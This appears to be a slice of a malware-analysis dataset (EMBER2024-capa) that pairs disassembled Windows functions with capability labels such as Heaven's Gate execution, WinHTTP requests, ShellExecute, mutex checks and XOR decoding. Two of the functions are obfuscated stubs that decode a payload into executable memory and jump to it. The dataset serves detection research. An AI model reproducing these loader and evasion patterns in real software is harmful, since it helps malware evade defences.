joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419ce0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
je 0x419d0b
cmp dword [ebp + 0xc], 0
jne 0x419d05
cmp dword [ebp + 0x10], 0
je 0x419d0b
cmp dword [ebp + 0x14], 0
jne 0x419d0d
jmp 0x419d60
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
push 0x33
call fcn.00419d20
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a65e
mov esp, ebp
pop ebp
ret

Function at 0x419d80
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
je 0x419dab
cmp dword [ebp + 0xc], 0
jne 0x419da5
cmp dword [ebp + 0x10], 0
je 0x419dab
cmp dword [ebp + 0x14], 0
jne 0x419daf
xor al, al
jmp 0x419e13
mov byte [ebp - 5], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xc], ecx
push 0x33
call fcn.00419dc6
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a65e
mov esp, ebp
pop ebp
ret

Function at 0x419e30
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
push 0x33
call fcn.00419e58

Function at 0x41d170
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov byte [eax + 4], 0
push 0
push 0
push 0
push 0
push 0x447304
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0
jne 0x41d1b6
mov eax, dword [ebp - 4]
mov dword [eax + 0x94], 1
xor al, al
jmp 0x41d1dc
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x14]
push edx
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41d2b0
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 0xc], 0
jne 0x41d2cb
mov dword [ebp - 0x4c], 0x446f48
jmp 0x41d2d2
mov dword [ebp - 0x4c], 0x44677c
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edx, dword [ebp - 4]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 4]
xor ecx, ecx
cmp dword [eax + 0x10], 0
setne cl
mov al, cl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41e020
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442a67
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x84], 0
lea ecx, [ebp - 0x30]
call fcn.00405f80
mov dword [ebp - 4], 1
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
call fcn.0041e300
movzx ecx, al
test ecx, ecx
jne 0x41e0b5
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
call fcn.00406070
mov ecx, dword [ebp - 0x84]
or ecx, 1
mov dword [ebp - 0x84], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00406130
mov eax, dword [ebp + 8]
jmp 0x41e193
push 0x1000
call fcn.0042a5ca
add esp, 4
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x3d], 0
mov eax, 1
test eax, eax
je 0x41e14d
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x10]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x41e0e9
jmp 0x41e14d
cmp dword [ebp - 0x34], 0
ja 0x41e0f5
mov byte [ebp - 0x3d], 1
jmp 0x41e14d
cmp dword [ebp - 0x34], 0x1000
jbe 0x41e119
mov eax, dword [ebp - 0x3c]
push eax
call fcn.0042a511
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
call fcn.0042a5ca
add esp, 4
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x41e138
jmp 0x41e14d
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x30]
call fcn.004076f0
jmp 0x41e0c9
mov eax, dword [ebp - 0x3c]
push eax
call fcn.0042a511
add esp, 4
movzx eax, byte [ebp - 0x3d]
test eax, eax
jne 0x41e169
lea ecx, [ebp - 0x30]
call fcn.0041e9f0
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
call fcn.00406070
mov ecx, dword [ebp - 0x84]
or ecx, 1
mov dword [ebp - 0x84], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00406130
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a65e
mov esp, ebp
pop ebp
ret 0x14
Function at 0x41e1c0
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov byte [ebp - 5], 0
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x15
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x41e246
mov eax, dword [ebp - 0xc]
push eax
call fcn.0042a5ca
add esp, 4
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0
push 0x15
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x41e23a
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
call fcn.0041c320
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0x14]
push eax
call fcn.0042a511
add esp, 4
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x41e260
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov byte [ebp - 9], 0
xor eax, eax
mov word [ebp - 0x48], ax
push 0x3a
push 0
lea eax, [ebp - 0x46]
push eax
call fcn.0042a550
add esp, 0xc
mov dword [ebp - 0x4c], 0x3c
push 0
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0
push 5
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
je 0x41e2db
mov dword [ebp - 0x50], 0
push 0xa
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x48]
push ecx
call fcn.0042e029
add esp, 0xc
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov byte [ebp - 9], 1
mov al, byte [ebp - 9]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a65e
mov esp, ebp
pop ebp
ret 4
Function at 0x41e870
Capabilities:
Set http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442b53
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
lea eax, [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x20
call fcn.0041ecd0
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x9c]
push edx
lea eax, [ebp - 0x30]
push eax
call fcn.0041ded0
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x94]
call fcn.00406130
push 0xa0000000
lea ecx, [ebp - 0x30]
call fcn.00407b20
push eax
lea ecx, [ebp - 0x30]
call fcn.004065d0
push eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
cmp dword [ebp + 8], 0
jne 0x41e924
mov dword [ebp - 0x98], 0
jmp 0x41e936
mov eax, dword [ebp + 8]
push eax
call fcn.0042a6f0
add esp, 4
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x34], ecx
cmp dword [ebp + 0xc], 0
jne 0x41e985
push 0
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
sub eax, 1
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x76], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00406570
mov al, byte [ebp - 0x76]
jmp 0x41e9c5
push 0
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x10]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
sub eax, 1
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x75], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00406570
mov al, byte [ebp - 0x75]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a65e
mov esp, ebp
pop ebp
ret 8
Function at 0x420e60
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4430f3
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00405b70
add esp, 4
test eax, eax
je 0x420ea6
jmp 0x420f74
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x30]
call fcn.00405ff0
mov dword [ebp - 4], 0
push 0
push str.http:
lea ecx, [ebp - 0x30]
call fcn.0040fde0
cmp eax, 0xffffffff
jne 0x420f2d
push 0
push str.https:
lea ecx, [ebp - 0x30]
call fcn.0040fde0
cmp eax, 0xffffffff
jne 0x420f2d
lea eax, [ebp - 0x30]
push eax
push 0x448df4
lea ecx, [ebp - 0x8c]
push ecx
call fcn.00424350
add esp, 0xc
mov dword [ebp - 0x90], eax
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0x94], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x30]
call fcn.00406100
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x8c]
call fcn.00406130
mov eax, dword [ebp + 0xc]
push eax
call fcn.00405b70
add esp, 4
test eax, eax
jne 0x420f49
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x30]
call fcn.00406220
push 5
push 0
push 0
lea ecx, [ebp - 0x30]
call fcn.004063b0
push eax
push 0x4466a0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00406130
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a65e
mov esp, ebp
pop ebp
ret 8
Function at 0x428680
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443767
mov eax, dword fs:[0]
push eax
sub esp, 0xb0
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xbc], 0
push 0x4466be
lea ecx, [ebp - 0x30]
call fcn.00405ff0
mov dword [ebp - 4], 1
mov dword [ebp - 0x34], 0x80000002
mov dword [ebp - 0x38], 1
mov al, byte [0x4466be]
mov byte [ebp - 0x4c], al
xor eax, eax
mov dword [ebp - 0x4b], eax
mov dword [ebp - 0x47], eax
mov dword [ebp - 0x43], eax
mov dword [ebp - 0x3f], eax
mov word [ebp - 0x3b], ax
mov byte [ebp - 0x39], al
mov dword [ebp - 0x50], 0x15
lea eax, [ebp - 0x54]
push eax
push 0x20119
push 0
push 0x4493d4
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x428792
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x4c]
push ecx
lea edx, [ebp - 0x38]
push edx
push 0
push 0x446c3c
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x428788
mov byte [ebp - 0x78], 0
xor eax, eax
mov dword [ebp - 0x77], eax
mov dword [ebp - 0x73], eax
mov dword [ebp - 0x6f], eax
mov dword [ebp - 0x6b], eax
mov dword [ebp - 0x67], eax
mov dword [ebp - 0x63], eax
mov dword [ebp - 0x5f], eax
mov word [ebp - 0x5b], ax
mov byte [ebp - 0x59], al
lea eax, [ebp - 0x4c]
push eax
push 0x4493d0
lea ecx, [ebp - 0x78]
push ecx
call fcn.00428df0
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x30]
call fcn.004061c0
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
call fcn.00406070
mov ecx, dword [ebp - 0xbc]
or ecx, 1
mov dword [ebp - 0xbc], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00406130
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a65e
mov esp, ebp
pop ebp
ret 4
Function at 0x428e20
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4438b3
mov eax, dword fs:[0]
push eax
sub esp, 0xf4
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
push str.69C55E40_A991_46AB_9A8E_B55A199D508B
lea ecx, [ebp - 0x30]
call fcn.00405ff0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00416730
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00417970
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xb8]
call fcn.004063b0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
je 0x428ed4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x428ed4
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x100], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xb8]
call fcn.00406130
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.00406130
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a65e
mov esp, ebp
pop ebp
ret
Function at 0x4297b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0
push 0
push 0
push 0x429470
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0
call fcn.00428f20
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42a65e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4511b0]
jne 0x42a668
repz ret
jmp fcn.0042ed01

Function at 0x43758c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4511b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00431ada
and dword [ebp - 0x14], 0
cmp dword [0x459380], 0
mov dword [ebp - 0x18], eax
jne 0x43763f
push 0x44a744
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4376e7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44a738
push ebx
call edi
test eax, eax
je 0x4376e7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x44a728
push ebx
mov dword [0x459380], eax
call edi
push eax
call esi
push 0x44a714
push ebx
mov dword [0x459384], eax
call edi
push eax
call esi
push 0x44a6f8
push ebx
mov dword [0x459388], eax
call edi
push eax
call esi
mov dword [0x459390], eax
test eax, eax
je 0x43763f
push 0x44a6e0
push ebx
call edi
push eax
call esi
mov dword [0x45938c], eax
mov eax, dword [0x45938c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x437698
cmp dword [0x459390], ecx
je 0x437698
push eax
call esi
push dword [0x459390]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x437698
test ebx, ebx
je 0x437698
call edi
test eax, eax
je 0x43768f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x43768f
test byte [ebp - 8], 1
jne 0x437698
or dword [ebp + 0x10], 0x200000
jmp 0x4376cb
mov eax, dword [0x459384]
cmp eax, dword [ebp - 0x18]
je 0x4376cb
push eax
call esi
test eax, eax
je 0x4376cb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4376cb
mov eax, dword [0x459388]
cmp eax, dword [ebp - 0x18]
je 0x4376cb
push eax
call esi
test eax, eax
je 0x4376cb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x459380]
call esi
test eax, eax
je 0x4376e7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4376e9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042a65e
leave
ret
Function at 0x427eaa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4540d0]
jne 0x427eb4
repz ret
jmp fcn.00429e94

Function at 0x43979d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x4397ac
pop dword [ebp - 0x44]
mov eax, 0xdd36d751
sub eax, 0xdcf33fa5
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x4b072
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x33f30719
add ecx, 0xcc0d3f0f
xor edx, edx
add edx, eax
mov ebx, 0x42e3362
sub ebx, 0x3e80f62
add ebx, dword [ebp - 0x44]
mov edi, 0x7f4405a7
add edi, 0xf0471af7
xor dword [ebp - 0x3c], ebx
mov esi, dword [ebx]
sub dword [ebp - 0x1c], 0xcc0a6c9e
xor esi, edi
mov dword [edx], esi
sub dword [ebp - 0x30], 0xe5bb945
add edx, 4
add ebx, 4
loop 0x439808
add eax, 0x3d0b2405
sub eax, 0x3d0a1892
xor ebx, ebx
add ebx, eax
add eax, 0x6871ccc
add eax, 0xf978e339
mov ecx, 0xae938799
sub ecx, 0xae538799
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x412d02
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x412d11
pop dword [ebp - 0x30]
mov eax, 0x412d11
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x511ad
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0xd9ef0bc1
sub ecx, 0xd9eec032
xor ebx, ebx
add ebx, eax
mov edx, 0xcb3a5f92
add edx, 0x350cfe6e
add edx, dword [ebp - 0x30]
mov edi, 0xde2a85b7
add dword [ebp - 4], 0x2fcdc3df
mov esi, dword [edx]
xor dword [ebp - 0x28], edx
xor esi, edi
sub dword [ebp - 0x18], eax
mov dword [ebx], esi
sub dword [ebp - 0x10], 0xb3b21a88
add ebx, 0x17a05a9e
add ebx, 0xe85fa566
add edx, 0x5c61dac0
sub edx, 0x5c61dabc
loop 0x412d62
add eax, 0x60b99e22
add eax, 0x9f4782ed
mov ebx, eax
add eax, 0x66fc2a81
add eax, 0x9903d584
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x40f690
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x69a480], eax
xor eax, eax
nop
add eax, 1
mov ecx, dword [eax*4 + 0x69a47c]
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul edx, edx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x69a480], edx
cmp eax, 0x26f
jl 0x40f698
mov dword [0x5d6050], 0x270
ret

Function at 0x40f6d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, 0xffffffff
mov esi, esi
add eax, 1
mov ecx, dword [eax*4 + 0x69a484]
mov ebx, dword [eax*4 + 0x69a480]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x69aab4]
mov dword [eax*4 + 0x69a480], edx
cmp eax, 0xe2
jl 0x40f6d8
mov eax, 0xe2
lea esi, [esi]
add eax, 1
mov ecx, dword [eax*4 + 0x69a484]
mov ebx, dword [eax*4 + 0x69a480]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x69a0f4]
mov dword [eax*4 + 0x69a480], edx
cmp eax, 0x26e
jl 0x40f728
mov edx, dword [0x69a480]
mov ecx, dword [0x69ae3c]
mov eax, edx
and eax, 1
neg eax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x69aab0]
mov dword [0x69ae3c], eax
mov dword [0x5d6050], 0
pop ebx
ret

Function at 0x40f7b0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, dword [0x5d6050]
add dword [0x5d6050], 1
mov eax, dword [0x699030]
cmp eax, dword [0x5d57a0]
jne 0x40f7d3
cmp ebx, 0x271
jb 0x40f7f4
mov eax, dword [0x699030]
call fcn.0040f690
not dword [0x699030]
mov eax, dword [0x699030]
mov dword [0x5d57a0], eax
mov ebx, 0x270
mov esi, esi
cmp ebx, 0x270
jne 0x40f810
call fcn.0040f6d0
xor ebx, ebx
mov dword [0x5d6050], 1
lea esi, [esi]
mov edx, dword [ebx*4 + 0x69a480]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop ebx
ret